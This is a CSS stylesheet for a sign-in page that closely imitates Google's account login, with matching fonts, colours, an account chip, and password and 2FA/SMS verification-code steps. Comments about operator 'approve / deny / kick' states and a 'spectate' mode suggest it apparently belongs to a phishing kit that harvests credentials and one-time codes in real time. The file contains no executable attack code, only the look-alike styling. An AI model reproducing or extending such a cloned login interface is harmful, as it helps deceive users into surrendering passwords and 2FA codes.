﻿@font-face {
  font-family: "Google Sans Local";
  font-style: normal;
  font-weight: 100 900;
  font-display: swap;
  src: url("fonts/googlesans-latin.woff2") format("woff2");
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
}

@font-face {
  font-family: "Google Sans Local";
  font-style: normal;
  font-weight: 100 900;
  font-display: swap;
  src: url("fonts/googlesans-latin-ext.woff2") format("woff2");
  unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;
}

@font-face {
  font-family: "Roboto Local";
  font-style: normal;
  font-weight: 100 900;
  font-display: swap;
  src: url("fonts/roboto-latin.woff2") format("woff2");
}

:root {
  --bg: #f0f4f9;
  --card: #ffffff;
  --text: #1f1f1f;
  --label: #5f6368;
  --border: #747775;
  --blue: #0b57d0;
  --btn-bg: #0b57d0;
  --btn-text: #ffffff;
  --error: #b3261e;
  --hover: rgba(0, 0, 0, 0.05);
  --shadow: 0 1px 3px rgba(60, 64, 67, 0.15), 0 4px 8px rgba(60, 64, 67, 0.06);
}

@media (prefers-color-scheme: dark) {
  :root {
    --bg: #1e1f20;
    --card: #0e0e0e;
    --text: #e3e3e3;
    --label: #9aa0a6;
    --border: #8e918f;
    --blue: #a8c7fa;
    --btn-bg: #a8c7fa;
    --btn-text: #062e6f;
    --error: #f2b8b5;
    --hover: rgba(255, 255, 255, 0.08);
    --shadow: 0 4px 16px rgba(0, 0, 0, 0.55);
  }
}

[data-theme="light"] {
  --bg: #f0f4f9;
  --card: #ffffff;
  --text: #1f1f1f;
  --label: #5f6368;
  --border: #747775;
  --blue: #0b57d0;
  --btn-bg: #0b57d0;
  --btn-text: #ffffff;
  --error: #b3261e;
  --hover: rgba(0, 0, 0, 0.05);
  --shadow: 0 1px 3px rgba(60, 64, 67, 0.15), 0 4px 8px rgba(60, 64, 67, 0.06);
}

[data-theme="dark"] {
  --bg: #1e1f20;
  --card: #0e0e0e;
  --text: #e3e3e3;
  --label: #9aa0a6;
  --border: #8e918f;
  --blue: #a8c7fa;
  --btn-bg: #a8c7fa;
  --btn-text: #062e6f;
  --error: #f2b8b5;
  --hover: rgba(255, 255, 255, 0.08);
  --shadow: 0 4px 16px rgba(0, 0, 0, 0.55);
}

* {
  box-sizing: border-box;
}

html,
body {
  margin: 0;
  padding: 0;
}

body {
  min-height: 100vh;
  background: var(--bg);
  color: var(--text);
  font-family: "Google Sans Local", "Google Sans", roboto, "Noto Sans Myanmar UI", "Noto Sans Khmer", arial, sans-serif;
  -webkit-font-smoothing: antialiased;
  text-rendering: optimizeLegibility;
}

.page {
  min-height: 100vh;
  padding: 43px 22px 24px;
  display: flex;
  flex-direction: column;
  justify-content: center;
}

.card {
  width: 840px;
  max-width: 100%;
  margin: 0 auto;
  padding: 36px 36px 30px;
  background: var(--card);
  border-radius: 28px;
  box-shadow: none;
  position: relative;
  overflow: hidden;
  display: block;
}

.step {
  display: grid;
  grid-template-columns: 360px 360px;
  column-gap: 48px;
}

.step[hidden] {
  display: none;
}

.logo {
  width: 48px;
  height: 48px;
}

.logo img {
  width: 48px;
  height: 48px;
  padding: 4px;
  display: block;
}

h1 {
  margin: 24px 0 0;
  font-size: 36px;
  line-height: 44px;
  font-weight: 400;
  letter-spacing: 0;
  color: var(--text);
}

.subtitle {
  margin: 16px 0 0;
  max-width: 360px;
  font-size: 16px;
  line-height: 24px;
  font-weight: 400;
  color: var(--text);
}

.form-col {
  padding-top: 80px;
}

.field {
  position: relative;
  height: 54px;
  border-radius: 4px;
  box-shadow: inset 0 0 0 1px var(--border);
  transition: box-shadow 0.1s ease;
}

.field:hover {
  box-shadow: inset 0 0 0 1px var(--text);
}

.field:focus-within {
  box-shadow: inset 0 0 0 2px var(--blue);
}

.field.invalid {
  box-shadow: inset 0 0 0 2px var(--error);
}

.field-input {
  width: calc(100% - 4px);
  height: 52px;
  margin: 2px 2px 0;
  padding: 0 14px;
  font: inherit;
  font-size: 16px;
  line-height: 24px;
  color: var(--text);
  background: transparent;
  border: 0;
  outline: none;
}

.field-label {
  position: absolute;
  left: 14px;
  top: 50%;
  transform: translateY(-50%);
  padding: 0 2px;
  font-size: 16px;
  line-height: 20px;
  color: var(--label);
  pointer-events: none;
  background: var(--card);
  transition: top 0.1s ease, left 0.1s ease, font-size 0.1s ease, color 0.1s ease;
}

.field-input:focus + .field-label,
.field-input.filled + .field-label {
  top: 0;
  left: 12px;
  padding: 0 4px;
  font-size: 12px;
  color: var(--blue);
}

.field.invalid .field-label {
  color: var(--error);
}

.field-error {
  margin: 6px 0 0;
  padding: 0;
  display: flex;
  align-items: flex-start;
  gap: 8px;
  font-size: 12px;
  line-height: 16px;
  color: var(--error);
}

.field-error[hidden] {
  display: none;
}

.error-icon {
  flex: 0 0 16px;
  width: 16px;
  height: 16px;
  display: block;
}

.link {
  color: var(--blue);
  text-decoration: none;
  font-weight: 500;
}

.link:hover {
  text-decoration: underline;
}

.forgot {
  display: inline-block;
  margin-top: 2px;
  padding: 9px 0 3px;
  font-size: 14px;
  line-height: 20px;
}

.guest-copy {
  margin: 32px 0 0;
  min-height: 52px;
  max-width: 360px;
  font-size: 14px;
  line-height: 20px;
  color: var(--text);
}

.guest-copy .link {
  font-weight: 500;
}

.actions {
  margin-top: 32px;
  height: 52px;
  display: flex;
  align-items: center;
  justify-content: flex-end;
  gap: 24px;
}

.next-btn {
  min-width: 78px;
  height: 40px;
  margin: 6px 0;
  padding: 0 24px;
  border: 0;
  border-radius: 20px;
  background: var(--btn-bg);
  color: var(--btn-text);
  font: inherit;
  font-size: 14px;
  font-weight: 500;
  line-height: 20px;
  cursor: pointer;
  transition: filter 0.15s ease, opacity 0.15s ease;
}

.next-btn:hover {
  filter: brightness(1.08);
}

.next-btn:disabled {
  opacity: 0.65;
  cursor: default;
}

.footer {
  width: 840px;
  max-width: 100%;
  height: 48px;
  margin: 8px auto 0;
  padding: 0 4px 0 16px;
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 24px;
  font-size: 12px;
  line-height: 16px;
  letter-spacing: 0.1px;
  color: var(--text);
}

.lang-wrap {
  position: relative;
}

.lang-btn {
  display: flex;
  align-items: center;
  gap: 12px;
  height: 32px;
  padding: 4px 0;
  margin-left: 0;
  border: 0;
  border-radius: 4px;
  background: transparent;
  color: var(--text);
  font: inherit;
  font-size: 14px;
  line-height: 16px;
  cursor: pointer;
}

.lang-btn:hover {
  background: var(--hover);
}

.lang-btn:focus-visible,
.lang-btn[aria-expanded="true"] {
  box-shadow: 0 0 0 2px var(--blue);
  outline: none;
}

.lang-btn .caret {
  width: 10px;
  height: 6px;
  transition: transform 0.15s ease;
}

.lang-btn[aria-expanded="true"] .caret {
  transform: rotate(180deg);
}

.footer-links {
  display: flex;
  align-items: center;
  gap: 8px;
}

.footer-links a {
  color: var(--text);
  text-decoration: none;
  display: flex;
  align-items: center;
  height: 48px;
  padding: 0 12px;
  border-radius: 8px;
  font-size: 12px;
  line-height: 16px;
  letter-spacing: 0.1px;
}

.footer-links a:hover {
  background: var(--hover);
}

/* ---- language picker ---- */
.lang-menu {
  position: absolute;
  left: -8px;
  bottom: calc(100% + 8px);
  width: 186px;
  background: var(--card);
  border-radius: 8px;
  box-shadow: 0 2px 6px rgba(0, 0, 0, 0.3), 0 1px 2px rgba(0, 0, 0, 0.15);
  overflow: hidden;
  z-index: 30;
  color: var(--text);
}

.lang-menu[hidden] {
  display: none;
}

.lang-list {
  max-height: min(560px, calc(100vh - 160px));
  overflow-y: auto;
  padding: 4px 0;
}

.lang-list::-webkit-scrollbar {
  width: 16px;
}

.lang-list::-webkit-scrollbar-track {
  background: var(--card);
}

.lang-list::-webkit-scrollbar-thumb {
  background: #c1c1c1;
  border: 4px solid var(--card);
  background-clip: padding-box;
  border-radius: 8px;
  min-height: 40px;
}

[data-theme="dark"] .lang-list::-webkit-scrollbar-thumb {
  background: #5f6368;
  border-color: var(--card);
  background-clip: padding-box;
}

.lang-list::-webkit-scrollbar-button:single-button:vertical:decrement,
.lang-list::-webkit-scrollbar-button:single-button:vertical:increment {
  height: 16px;
  background-color: var(--card);
  background-repeat: no-repeat;
  background-position: center;
}

.lang-list::-webkit-scrollbar-button:single-button:vertical:decrement {
  background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='9' height='6'><path d='M1 5l3.5-3.5L8 5' fill='none' stroke='%235f6368' stroke-width='1.2' stroke-linecap='round' stroke-linejoin='round'/></svg>");
}

.lang-list::-webkit-scrollbar-button:single-button:vertical:increment {
  background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='9' height='6'><path d='M1 1l3.5 3.5L8 1' fill='none' stroke='%235f6368' stroke-width='1.2' stroke-linecap='round' stroke-linejoin='round'/></svg>");
}

.lang-item {
  display: block;
  width: 100%;
  height: 48px;
  padding: 0 16px;
  border: 0;
  background: transparent;
  color: var(--text);
  font: inherit;
  font-size: 14px;
  text-align: left;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
  cursor: pointer;
}

.lang-item:hover {
  background: var(--hover);
}

.lang-item.is-selected {
  background: #d3e3fd;
  color: #1f1f1f;
}

[data-theme="dark"] .lang-item.is-selected {
  background: #004a77;
  color: #c2e7ff;
}

@media (prefers-color-scheme: dark) {
  [data-theme="no-preference"] .lang-item.is-selected {
    background: #004a77;
    color: #c2e7ff;
  }
}

@media (max-width: 920px) {
  body:not(.spectate) .page {
    padding: 16px 12px;
  }

  body:not(.spectate) .card {
    grid-template-columns: 1fr;
    row-gap: 8px;
    padding: 24px 24px 28px;
    border-radius: 20px;
    min-height: 0;
  }

  body:not(.spectate) .logo,
  body:not(.spectate) .logo img {
    width: 40px;
    height: 40px;
  }

  body:not(.spectate) h1 {
    margin-top: 16px;
    font-size: 30px;
    line-height: 38px;
  }

  body:not(.spectate) .subtitle {
    max-width: none;
  }

  body:not(.spectate) .form-col {
    padding-top: 24px;
  }

  body:not(.spectate) .guest-copy {
    max-width: none;
  }

  body:not(.spectate) .footer {
    height: auto;
    flex-direction: column;
    align-items: flex-start;
    gap: 8px;
    padding: 0 4px;
  }

  body:not(.spectate) .footer-links {
    flex-wrap: wrap;
  }
}

/* ---- password step ---- */
.step-password .form-col {
  padding-top: 120px;
}

/* ---- verification code step (2FA / SMS / recovery email) ---- */
.step-code .form-col {
  padding-top: 120px;
}

.step-code .code-hint {
  margin: 12px 0 0;
  font-size: 13px;
  line-height: 18px;
  color: var(--muted);
}

.step-code .code-try {
  display: inline-block;
  margin-top: 24px;
}

.step-code .actions {
  margin-top: 36px;
}

.password-field {
  height: 56px;
}

.account-chip {
  display: inline-flex;
  align-items: center;
  gap: 7px;
  height: 32px;
  margin-top: 16px;
  padding: 0 8px 0 3px;
  max-width: 100%;
  border: 1px solid var(--border);
  border-radius: 16px;
  background: var(--card);
  color: var(--text);
  font: inherit;
  font-size: 14px;
  font-weight: 500;
  line-height: 20px;
  cursor: pointer;
}

.account-chip:hover {
  background: var(--hover);
}

.chip-avatar {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  flex: 0 0 26px;
  width: 26px;
  height: 26px;
  border-radius: 50%;
  background: var(--label);
  color: #fff;
}

.chip-avatar svg {
  width: 18px;
  height: 18px;
  display: block;
}

.chip-email {
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
}

.chip-caret {
  flex: 0 0 auto;
  width: 10px;
  height: 6px;
  color: var(--text);
}

.show-row {
  display: flex;
  align-items: center;
  height: 40px;
  cursor: pointer;
  user-select: none;
  width: fit-content;
}

.mdc-checkbox {
  position: relative;
  display: inline-flex;
  align-items: center;
  justify-content: center;
  flex: 0 0 40px;
  width: 40px;
  height: 40px;
  margin-left: -8px;
}

.mdc-checkbox input {
  position: absolute;
  inset: 0;
  width: 100%;
  height: 100%;
  margin: 0;
  opacity: 0;
  cursor: pointer;
}

.checkbox-box {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  width: 18px;
  height: 18px;
  border: 2px solid var(--border);
  border-radius: 2px;
  color: var(--btn-text);
}

.checkbox-box svg {
  width: 14px;
  height: 14px;
  opacity: 0;
}

.mdc-checkbox input:checked + .checkbox-box {
  background: var(--btn-bg);
  border-color: var(--btn-bg);
}

.mdc-checkbox input:checked + .checkbox-box svg {
  opacity: 1;
}

.show-text {
  margin-left: 12px;
  font-size: 14px;
  line-height: 20px;
}

.password-actions {
  margin-top: 50px;
}

.forgot-password {
  display: inline-flex;
  align-items: center;
  height: 40px;
  padding: 0 16px;
  border-radius: 20px;
  font-size: 14px;
  line-height: 20px;
}

.forgot-password:hover {
  background: var(--hover);
  text-decoration: none;
}

.login-progress {
  position: absolute;
  top: 0;
  left: 36px;
  right: 36px;
  height: 4px;
  overflow: hidden;
  z-index: 30;
  opacity: 0;
  visibility: hidden;
  transition: opacity 0.25s cubic-bezier(0.4, 0, 0.6, 1);
  pointer-events: none;
}

.login-progress.is-active {
  opacity: 1;
  visibility: visible;
}

.login-progress .lp-track {
  position: absolute;
  inset: 0;
  background: var(--bg);
}

.login-progress .lp-primary,
.login-progress .lp-secondary {
  position: absolute;
  top: 0;
  bottom: 0;
  margin: auto 0;
  width: 100%;
  transform-origin: left top;
}

.login-progress .lp-primary {
  left: -145.167%;
  animation: mdc-lp-primary-translate 2s linear infinite;
}

.login-progress .lp-secondary {
  left: -54.8889%;
  animation: mdc-lp-secondary-translate 2s linear infinite;
}

.login-progress .lp-primary > span,
.login-progress .lp-secondary > span {
  display: inline-block;
  position: absolute;
  width: 100%;
  height: 100%;
  border-top: 4px solid var(--blue);
}

.login-progress .lp-primary > span {
  animation: mdc-lp-primary-scale 2s linear infinite;
}

.login-progress .lp-secondary > span {
  animation: mdc-lp-secondary-scale 2s linear infinite;
}

.loading-veil {
  position: fixed;
  inset: 0;
  z-index: 20;
  background: var(--card);
  opacity: 0;
  visibility: hidden;
  pointer-events: none;
  transition: opacity 0.2s cubic-bezier(0.4, 0, 0.6, 1);
}

.loading-veil.is-active {
  opacity: 0.5;
  visibility: visible;
  pointer-events: auto;
}

@keyframes mdc-lp-primary-translate {
  0% { transform: translateX(0px); }
  20% { animation-timing-function: cubic-bezier(0.5, 0, 0.701732, 0.495819); transform: translateX(0px); }
  59.15% { animation-timing-function: cubic-bezier(0.302435, 0.381352, 0.55, 0.956352); transform: translateX(83.67142%); }
  100% { transform: translateX(200.611057%); }
}

@keyframes mdc-lp-primary-scale {
  0% { transform: scaleX(0.08); }
  36.65% { animation-timing-function: cubic-bezier(0.334731, 0.12482, 0.785844, 1); transform: scaleX(0.08); }
  69.15% { animation-timing-function: cubic-bezier(0.06, 0.11, 0.6, 1); transform: scaleX(0.661479); }
  100% { transform: scaleX(0.08); }
}

@keyframes mdc-lp-secondary-translate {
  0% { animation-timing-function: cubic-bezier(0.15, 0, 0.515058, 0.409685); transform: translateX(0px); }
  25% { animation-timing-function: cubic-bezier(0.31033, 0.284058, 0.8, 0.733712); transform: translateX(37.651913%); }
  48.35% { animation-timing-function: cubic-bezier(0.4, 0.627035, 0.6, 0.902026); transform: translateX(84.386165%); }
  100% { transform: translateX(160.277782%); }
}

@keyframes mdc-lp-secondary-scale {
  0% { animation-timing-function: cubic-bezier(0.205028, 0.057051, 0.57661, 0.453971); transform: scaleX(0.08); }
  19.15% { animation-timing-function: cubic-bezier(0.152313, 0.196432, 0.648374, 1.00432); transform: scaleX(0.457104); }
  44.15% { animation-timing-function: cubic-bezier(0.257759, -0.003163, 0.211762, 1.38179); transform: scaleX(0.72796); }
  100% { transform: scaleX(0.08); }
}

@media (max-width: 920px) {
  body:not(.spectate) .step {
    grid-template-columns: 1fr;
    row-gap: 8px;
  }

  body:not(.spectate) .step-password .form-col,
  body:not(.spectate) .step-code .form-col {
    padding-top: 24px;
  }

  body:not(.spectate) .password-actions {
    margin-top: 32px;
  }
}

/* ---- terminal states (approve / deny / kick) ---- */
.terminal {
  padding: 64px 36px;
}

.terminal h1 {
  margin: 0;
  font-size: 32px;
  line-height: 40px;
  font-weight: 400;
}

.terminal p {
  margin: 12px 0 0;
  max-width: 440px;
  color: var(--muted);
  font-size: 14px;
  line-height: 20px;
}

.terminal .btn {
  margin-top: 24px;
}

.terminal-code {
  margin-bottom: 10px;
  color: var(--muted);
  font-family: "SF Mono", "Fira Code", monospace;
  font-size: 12px;
  letter-spacing: 0.4px;
}

.login-spinner {
  width: 36px;
  height: 36px;
  margin-bottom: 26px;
  border: 3px solid var(--border);
  border-top-color: var(--blue);
  border-radius: 50%;
  animation: login-spin 1s linear infinite;
}

@keyframes login-spin {
  to { transform: rotate(360deg); }
}



